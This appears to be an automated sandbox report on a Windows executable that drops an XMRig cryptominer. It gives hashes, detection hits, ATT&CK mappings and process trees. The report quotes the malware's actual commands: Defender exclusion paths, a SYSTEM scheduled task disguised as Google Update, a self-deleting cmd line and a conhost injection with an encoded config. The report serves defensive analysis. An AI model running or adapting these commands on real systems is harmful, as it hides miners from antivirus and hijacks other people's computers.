xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1796s
max time network
1791s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/y97CYh67hdzFRaEy.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

y97CYh67hdzFRaEy.exeupdater.execonhost.exe

description	pid	process	target process
PID 1936 created 1224	1936	y97CYh67hdzFRaEy.exe	Explorer.EXE
PID 1936 created 1224	1936	y97CYh67hdzFRaEy.exe	Explorer.EXE
PID 1936 created 1224	1936	y97CYh67hdzFRaEy.exe	Explorer.EXE
PID 1936 created 1224	1936	y97CYh67hdzFRaEy.exe	Explorer.EXE
PID 284 created 1224	284	updater.exe	Explorer.EXE
PID 284 created 1224	284	updater.exe	Explorer.EXE
PID 284 created 1224	284	updater.exe	Explorer.EXE
PID 284 created 1224	284	updater.exe	Explorer.EXE
PID 2016 created 1224	2016	conhost.exe	Explorer.EXE
PID 284 created 1224	284	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral27/memory/620-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/620-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2672 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

284 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1056 taskeng.exe

pid	process
2672	cmd.exe

pid	process
284	updater.exe

pid	process
1056	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral27/memory/620-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/620-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 284 set thread context of 2016	284	updater.exe	conhost.exe
PID 284 set thread context of 620	284	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

y97CYh67hdzFRaEy.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	y97CYh67hdzFRaEy.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2884 schtasks.exe
1336 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1672 WMIC.exe

pid	process
2884	schtasks.exe
1336	schtasks.exe

pid	process
1672	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

WMIC.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6088c080b44fda01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

y97CYh67hdzFRaEy.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1936	y97CYh67hdzFRaEy.exe
1936	y97CYh67hdzFRaEy.exe
1048	powershell.exe
1936	y97CYh67hdzFRaEy.exe
1936	y97CYh67hdzFRaEy.exe
2404	powershell.exe
1936	y97CYh67hdzFRaEy.exe
1936	y97CYh67hdzFRaEy.exe
1936	y97CYh67hdzFRaEy.exe
1936	y97CYh67hdzFRaEy.exe
1988	powershell.exe
284	updater.exe
284	updater.exe
680	powershell.exe
284	updater.exe
284	updater.exe
2216	powershell.exe
284	updater.exe
284	updater.exe
284	updater.exe
284	updater.exe
2016	conhost.exe
2016	conhost.exe
284	updater.exe
284	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

468

pid	process
468

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	284	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1672	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeSecurityPrivilege	1672	WMIC.exe
Token: SeTakeOwnershipPrivilege	1672	WMIC.exe
Token: SeLoadDriverPrivilege	1672	WMIC.exe
Token: SeSystemtimePrivilege	1672	WMIC.exe
Token: SeBackupPrivilege	1672	WMIC.exe
Token: SeRestorePrivilege	1672	WMIC.exe
Token: SeShutdownPrivilege	1672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1672	WMIC.exe
Token: SeUndockPrivilege	1672	WMIC.exe
Token: SeManageVolumePrivilege	1672	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1672	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeSecurityPrivilege	1672	WMIC.exe
Token: SeTakeOwnershipPrivilege	1672	WMIC.exe
Token: SeLoadDriverPrivilege	1672	WMIC.exe
Token: SeSystemtimePrivilege	1672	WMIC.exe
Token: SeBackupPrivilege	1672	WMIC.exe
Token: SeRestorePrivilege	1672	WMIC.exe
Token: SeShutdownPrivilege	1672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1672	WMIC.exe
Token: SeUndockPrivilege	1672	WMIC.exe
Token: SeManageVolumePrivilege	1672	WMIC.exe
Token: SeLockMemoryPrivilege	620	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2404 wrote to memory of 2884	2404	powershell.exe	schtasks.exe
PID 2404 wrote to memory of 2884	2404	powershell.exe	schtasks.exe
PID 2404 wrote to memory of 2884	2404	powershell.exe	schtasks.exe
PID 2672 wrote to memory of 2604	2672	cmd.exe	choice.exe
PID 2672 wrote to memory of 2604	2672	cmd.exe	choice.exe
PID 2672 wrote to memory of 2604	2672	cmd.exe	choice.exe
PID 1988 wrote to memory of 3012	1988	powershell.exe	schtasks.exe
PID 1988 wrote to memory of 3012	1988	powershell.exe	schtasks.exe
PID 1988 wrote to memory of 3012	1988	powershell.exe	schtasks.exe
PID 1056 wrote to memory of 284	1056	taskeng.exe	updater.exe
PID 1056 wrote to memory of 284	1056	taskeng.exe	updater.exe
PID 1056 wrote to memory of 284	1056	taskeng.exe	updater.exe
PID 2216 wrote to memory of 1336	2216	powershell.exe	schtasks.exe
PID 2216 wrote to memory of 1336	2216	powershell.exe	schtasks.exe
PID 2216 wrote to memory of 1336	2216	powershell.exe	schtasks.exe
PID 284 wrote to memory of 2016	284	updater.exe	conhost.exe
PID 1624 wrote to memory of 1672	1624	cmd.exe	WMIC.exe
PID 1624 wrote to memory of 1672	1624	cmd.exe	WMIC.exe
PID 1624 wrote to memory of 1672	1624	cmd.exe	WMIC.exe
PID 284 wrote to memory of 620	284	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1224

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\y97CYh67hdzFRaEy.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\y97CYh67hdzFRaEy.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2884

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\y97CYh67hdzFRaEy.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2216

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1336

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1628

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2016

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:620

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2604

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:3012

C:\Windows\system32\taskeng.exe
taskeng.exe {215398B5-0A5A-4617-AF73-F4201A7FF16A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1056

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:284

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1672

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
45KB

MD5
e6d383a88e9ffe3d919af82e1a0cfdb1

SHA1
55c5078350fcdedc2ba39ca2df1ca779921a57e3

SHA256
4d07ed5f82cf67c9aa2c3f5d0fe8309eb122874edb09086e709d1394b227367e

SHA512
db3e2009454c58792dbee8cfb91657569e23429b2534fe5e902295348ec2a8debccdd490e56826dd071ca9df186593f82381561f47f08cdffa2b829a28fda436

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
420KB

MD5
88212cb0dc2ce098ad02452d6cbbe671

SHA1
2e48c8f99b4e06e9542651474c6b7e35c23b14c6

SHA256
79292d179faf4635648523fecd058cb2311ba51a96ad26d17e8706a73d573e7d

SHA512
c9e665aeed9ed284b73bed32e21d4ffa63a865b0171218c5fb12aff625f910636c2c57917839adfff5e47bed5d84930fef0d1e79e8387d2df06f331630b53d84

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
454f996b7f7509a9d8656edb36fb01fc

SHA1
25a2626ae9cc07e99ce47402e8c9d2c5f3c10523

SHA256
0a1c74fad7c539259849a82d4327ec11a212a1626cce27892cf8e4348a40514e

SHA512
7d33fc6ac1ad5278766bf341cd90c4771c22c0f3bbf9c33546cc1edb8d19b4470a1b7ed4539b7b197c912b71c9ec3ca7d2da717d3bb96afac7b50c655774a30d

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
1KB

MD5
d9a640deb6e8fe0151da79d21fc3c344

SHA1
b60035acadb675281bab5228bb3343c40f4b3160

SHA256
181f50f905c56a2043c18f81f26be56905c12b97f733e8561692a3156a3792cf

SHA512
5677097100c282f13b77ede5e0ab8aff4c28e0b5d0fddaf28193f44b801f53bde7effa47e94814c085aa8803a53a71376e538e2c6c7682d9fd3fcde610c294c2

Download Submit
memory/284-67-0x000000013F3C0000-0x000000013F5D1000-memory.dmp

Filesize
2.1MB

Download
memory/284-45-0x000000013F3C0000-0x000000013F5D1000-memory.dmp

Filesize
2.1MB

Download
memory/620-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-81-0x0000000000D00000-0x0000000000D20000-memory.dmp

Filesize
128KB

Download
memory/620-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-78-0x00000000008C0000-0x00000000008E0000-memory.dmp

Filesize
128KB

Download
memory/620-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-71-0x0000000000D00000-0x0000000000D20000-memory.dmp

Filesize
128KB

Download
memory/620-70-0x00000000008C0000-0x00000000008E0000-memory.dmp

Filesize
128KB

Download
memory/620-69-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/620-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/620-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/680-49-0x000007FEF4BB0000-0x000007FEF554D000-memory.dmp

Filesize
9.6MB

Download
memory/680-50-0x0000000000F94000-0x0000000000F97000-memory.dmp

Filesize
12KB

Download
memory/680-52-0x0000000000F9B000-0x0000000001002000-memory.dmp

Filesize
412KB

Download
memory/680-47-0x000007FEF4BB0000-0x000007FEF554D000-memory.dmp

Filesize
9.6MB

Download
memory/680-53-0x000007FEF4BB0000-0x000007FEF554D000-memory.dmp

Filesize
9.6MB

Download
memory/680-51-0x0000000000F90000-0x0000000001010000-memory.dmp

Filesize
512KB

Download
memory/680-48-0x0000000000F90000-0x0000000001010000-memory.dmp

Filesize
512KB

Download
memory/1048-7-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/1048-5-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/1048-13-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/1048-6-0x00000000022D0000-0x00000000022D8000-memory.dmp

